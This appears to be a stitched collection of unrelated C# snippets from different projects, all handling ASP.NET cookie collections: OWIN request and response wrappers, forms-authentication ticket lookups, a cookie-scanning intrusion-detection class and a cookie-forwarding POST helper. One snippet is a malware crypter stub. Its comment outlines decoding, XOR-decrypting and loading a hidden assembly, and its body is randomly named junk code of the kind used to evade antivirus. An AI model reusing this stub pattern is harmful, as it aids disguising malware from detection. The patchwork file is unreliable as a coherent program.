/// <summary> /// Construtor padrão. /// </summary> /// <param name="context"></param> /// <param name="request"></param> public HttpRequest(HttpContext context, Microsoft.Owin.IOwinRequest request) { _context = context; _request = request; _headers = request.Headers.GetNameValueCollection(); _files = new HttpFileCollection(); var allDone = new System.Threading.ManualResetEvent(false); _httpClient = new HttpClient(request); _httpClient.RequestExecuting += (sender, e) => { allDone.Set(); }; _httpClient.Disposing += (sender, e) => { allDone.Set(); }; _httpClient.Reset(); foreach (KeyValuePair <string, string[]> i in request.Headers) { _httpClient.Headers.Add(i.Key, i.Value.FirstOrDefault()); } _httpClient.State = HttpClient.ClientState.ReadingContent; _httpClient.BeginRequest(); allDone.WaitOne(); if (_httpClient.PostParameters != null) { _form = _httpClient.PostParameters; } if (_httpClient.MultiPartItems != null) { ParseMultiPartItems(_httpClient); } _queryString = request.Query.GetNameValueCollection(); _cookies = request.Cookies.GetCookieCollection(); }
public WebFoundry(System.Web.UI.Page page) { _params = page.Request.Form; _queryparams = page.Request.QueryString; _incookies = page.Request.Cookies; _outcookies = page.Response.Cookies; }
private static string ReturnHttpCookieCollection(System.Web.HttpCookieCollection v) { System.Text.StringBuilder sb = new System.Text.StringBuilder(); System.Collections.ArrayList arrayList = new System.Collections.ArrayList(); int i; string key, value; if (v == null) { return("null"); } if (v.Count == 0) { return("Empty"); } for (i = 0; i < v.Count; i++) { arrayList.Add(v.AllKeys[i]); } arrayList.Sort(); for (i = 0; i < v.Count; i++) { key = (string)arrayList[i]; value = v[key].Value; sb.Append(string.Format("Key[{0}] Value[{1}]\r\n", ReturnString(key), ReturnString(value))); } return(sb.ToString().TrimEnd()); }
private static string BuildComparisonLine(string name, System.Web.HttpCookieCollection a, IRequestCookieCollection b) { var result = new StringBuilder(); result.AppendLine(BuildComparisonLine(name, a.Count, b.Count)); foreach (var key in a.AllKeys) { if (b.ContainsKey(key)) { result.AppendLine(BuildComparisonLine(" " + key, a[key], b[key])); } else { result.AppendLine(BuildComparisonLine(" " + key, a[key], "null")); } } foreach (var keyValue in b) { var valueFound = a.Get(keyValue.Key); if (valueFound == null) { result.AppendLine(BuildComparisonLine(" " + keyValue.Key, "null", keyValue.Value)); } } return(result.ToString()); }
/// <summary> /// Initialise the IDS to scan cookies using the same filters as an already existing IDS object /// </summary> /// <param name="cookies">The cookie collection to detect intrusions within</param> /// <param name="ids">The IDS containing the preloaded filters</param> public IDS(System.Web.HttpCookieCollection cookies, IDS ids) { _store = ids._store; _cookies = cookies; _report = new Report(RequestType.Cookie); IsCookie = true; }
/// <summary> /// Recupera o texto do ticket. /// </summary> /// <param name="cookies"></param> /// <returns></returns> private string GetTicketText(System.Web.HttpCookieCollection cookies) { if (cookies.AllKeys.Contains(System.Web.Security.FormsAuthentication.FormsCookieName)) { return(cookies[System.Web.Security.FormsAuthentication.FormsCookieName].Value); } return(null); }
/// <summary> /// Recupera o identificador do ticket que está nos cookies informados. /// </summary> /// <param name="cookies"></param> /// <returns></returns> internal static string GetTicketId(System.Web.HttpCookieCollection cookies) { if (cookies.AllKeys.Contains(TicketIdCookieName)) { return(cookies[TicketIdCookieName].Value); } return(null); }
private static void CacheCookies(string sessionId, System.Web.HttpCookieCollection cookies) { var c = cookies?.AddOrSet(SessionIdKey, sessionId); if (c != null) { c.HttpOnly = true; } ; }
public static System.Web.HttpCookieCollection GetCookieCollection(this Microsoft.Owin.RequestCookieCollection collection) { var result = new System.Web.HttpCookieCollection(); foreach (var i in collection) { result.Add(new System.Web.HttpCookie(i.Key, i.Value)); } return(result); }
/// <summary> /// Initialise the IDS to scan cookies /// </summary> /// <param name="cookies">The cookie collection to detect intrusions within</param> /// <param name="xmlPath">The path to the filters file</param> public IDS(System.Web.HttpCookieCollection cookies, string xmlPath) { XmlDocument xd = new XmlDocument(); xd.Load(xmlPath); _store = new Storage(xd, typeof(RegexFilter)); _cookies = cookies; _report = new Report(RequestType.Cookie); IsCookie = true; }
/// <summary> /// Construtor padrão. /// </summary> /// <param name="context"></param> /// <param name="response"></param> /// <param name="request"></param> /// <param name="encoding">Encoding que será usado na reposta.</param> public HttpResponse(HttpContext context, Microsoft.Owin.IOwinResponse response, System.Web.HttpRequestBase request, System.Text.Encoding encoding) { _context = context; _response = response; _request = request; _encoding = encoding; _cookies = new System.Web.HttpCookieCollection(); _headers = new System.Collections.Specialized.NameValueCollection(); _response.OnSendingHeaders(SendHeaders, null); _writer = new HttpResponseWriter(response, encoding); _cache = new HttpCachePolicy(this); ContentType = response.ContentType; }
public void SetCookies(System.Web.HttpCookieCollection cookies, string url) { Uri uri = new Uri(url); for (int i = 0; i < cookies.Count; i++) { System.Web.HttpCookie cookie = cookies[i]; _cookieContainer.MaxCookieSize = _maxCookiesSize; if (cookie.Value != null) { _cookieContainer.Add(uri, new Cookie(cookie.Name, cookie.Value)); } } }
public static void AddToNameValueCollection(this System.Web.HttpCookieCollection cookies, System.Collections.Specialized.NameValueCollection nv, bool overwrite = false) { for (var i = 0; i < cookies.Count; i++) { var name = cookies[i].Name; var value = cookies[name].Value; if (nv[name] == null) { nv.Add(name, value); } else if (overwrite) { nv[name] = value; } } }
/// <summary> /// 这个cookie也是拿到当前域的cookie,而不是域ipow.cn, 也可能会有两个cookie所以这样写,去拿到有值的cookie /// </summary> /// <param name="cookieList">The cookie list.</param> /// <returns></returns> public static List <int> GetUserLoginedCookieNameIndexList(System.Web.HttpCookieCollection cookieList) { //这个cookie也是拿到当前域的cookie,而不是域ipow.cn, 也可能会有两个cookie所以这样写,去拿到有值的cookie var cookieNameList = cookieList.AllKeys.ToList(); var cookieNameIndexList = new List <int>(); var targetUserLoginedStr = iPow.Infrastructure.Crosscutting.Comm.Service.ConstService.CookieNameUserLogined; for (int i = 0; i < cookieNameList.Count; i++) { if (cookieNameList[i].CompareTo(targetUserLoginedStr) == 0) { cookieNameIndexList.Add(i); } } return(cookieNameIndexList); }
/* What this stub does: * ---> Gets library key file data * ---> Get library file data * ---> Decodes library -> b64 * ---> Decrypts library -> xor * ---> Loads assembly * ---> Invokes { class.void } */ void YjsMv(System.Windows.Forms.DrawToolTipEventArgs oKqQOv) { System.Web.Security.RoleManagerModule NnQQxZQ = new System.Web.Security.RoleManagerModule(); System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId lMsgpe = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId(); System.ComponentModel.TypeConverterAttribute nLj = new System.ComponentModel.TypeConverterAttribute("drkXnUnJhWFwf"); System.Net.CredentialCache geTig = new System.Net.CredentialCache(); System.Web.HttpCompileException alxHnc = new System.Web.HttpCompileException("UiEiZ", new System.Exception()); System.Web.UI.WebControls.TableCell vcQBTfO = new System.Web.UI.WebControls.TableCell(); System.CodeDom.CodeTypeMember vFPMu = new System.CodeDom.CodeTypeMember(); System.Web.UI.WebControls.FontNamesConverter XgGWei = new System.Web.UI.WebControls.FontNamesConverter(); System.Web.HttpCookieCollection osBP = new System.Web.HttpCookieCollection(); System.Windows.Forms.NativeWindow ALZ = new System.Windows.Forms.NativeWindow(); System.Globalization.HebrewCalendar VNfgivs = new System.Globalization.HebrewCalendar(); System.Security.Cryptography.SHA256Managed QgqhE = new System.Security.Cryptography.SHA256Managed(); System.StackOverflowException ZsrNpa = new System.StackOverflowException("topngxhg", new System.Exception()); System.Runtime.CompilerServices.IndexerNameAttribute ULAbnhF = new System.Runtime.CompilerServices.IndexerNameAttribute("rijUNSSShlVcWRqIb"); System.Runtime.CompilerServices.NativeCppClassAttribute katJkXs = new System.Runtime.CompilerServices.NativeCppClassAttribute(); System.ComponentModel.Design.CheckoutException cagCAsm = new System.ComponentModel.Design.CheckoutException(); System.ComponentModel.UInt64Converter CUsA = new System.ComponentModel.UInt64Converter(); System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri wfDiyM = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri("Pqslfldqdvk"); System.Web.Configuration.ClientTargetCollection bTPD = new System.Web.Configuration.ClientTargetCollection(); System.Security.SecureString aYUhbe = new System.Security.SecureString(); System.Windows.Forms.UpDownEventArgs ZBnnQ = new System.Windows.Forms.UpDownEventArgs(31195626); System.Text.EncoderExceptionFallbackBuffer xdZhjn = new System.Text.EncoderExceptionFallbackBuffer(); System.Reflection.InvalidFilterCriteriaException kYr = new System.Reflection.InvalidFilterCriteriaException("zcblTWNdrOfLQic"); System.ComponentModel.Design.DesigntimeLicenseContext cPtkpz = new System.ComponentModel.Design.DesigntimeLicenseContext(); System.ComponentModel.DecimalConverter eDy = new System.ComponentModel.DecimalConverter(); System.Web.Configuration.AdapterDictionary CnfaYLB = new System.Web.Configuration.AdapterDictionary(); System.Web.Configuration.HttpCookiesSection PjAiSDc = new System.Web.Configuration.HttpCookiesSection(); System.Web.UI.WebControls.View tLTbUfG = new System.Web.UI.WebControls.View(); System.Security.AccessControl.PrivilegeNotHeldException YkIDY = new System.Security.AccessControl.PrivilegeNotHeldException(); System.Web.UI.HiddenFieldPageStatePersister SdBpR = new System.Web.UI.HiddenFieldPageStatePersister(new System.Web.UI.Page()); System.Windows.Forms.ColumnClickEventArgs DIlHu = new System.Windows.Forms.ColumnClickEventArgs(986016714); System.CodeDom.CodeMemberProperty CBEMisW = new System.CodeDom.CodeMemberProperty(); System.Security.HostProtectionException OAy = new System.Security.HostProtectionException("lpGrG", new System.Exception()); System.Web.UI.WebControls.MenuItemBinding FKHqdt = new System.Web.UI.WebControls.MenuItemBinding(); }
public static string GetHtmlContentByPost(string url, System.Text.Encoding encoding, Dictionary <string, string> data, System.Web.HttpCookieCollection cookies) { try { System.Text.StringBuilder postData = new System.Text.StringBuilder(); if (data != null) { foreach (KeyValuePair <string, string> val in data) { postData.AppendFormat("{0}={1}&", val.Key, val.Value); } if (postData.Length > 1) { postData.Remove(postData.Length - 1, 1); } } System.Text.StringBuilder cookieStr = new System.Text.StringBuilder(); if (cookies != null) { for (int i = 0; i < cookies.Count; i++) { cookieStr.AppendFormat("{0}={1};", cookies[i].Name, cookies[i].Value); } if (cookieStr.Length > 1) { cookieStr.Remove(cookieStr.Length - 1, 1); } } WebClient myWebClient = new WebClient(); myWebClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); //myWebClient.Headers.Add("Referer", "http://localhost/test/WebForm1.aspx "); //myWebClient.Headers.Add("Accept-Language", "zh-cn "); //myWebClient.Headers.Add("Accept-Encoding", "gzip, deflate "); //myWebClient.Headers.Add("Cache-Control", "no-cache "); myWebClient.Headers.Add("Cookie", cookieStr.ToString()); byte[] byteArray = System.Text.Encoding.ASCII.GetBytes(postData.ToString()); //myWebClient.co byte[] responseArray = myWebClient.UploadData(url, "POST", byteArray); string resp = encoding.GetString(responseArray); return(resp); } catch (Exception ex) { throw ex; } }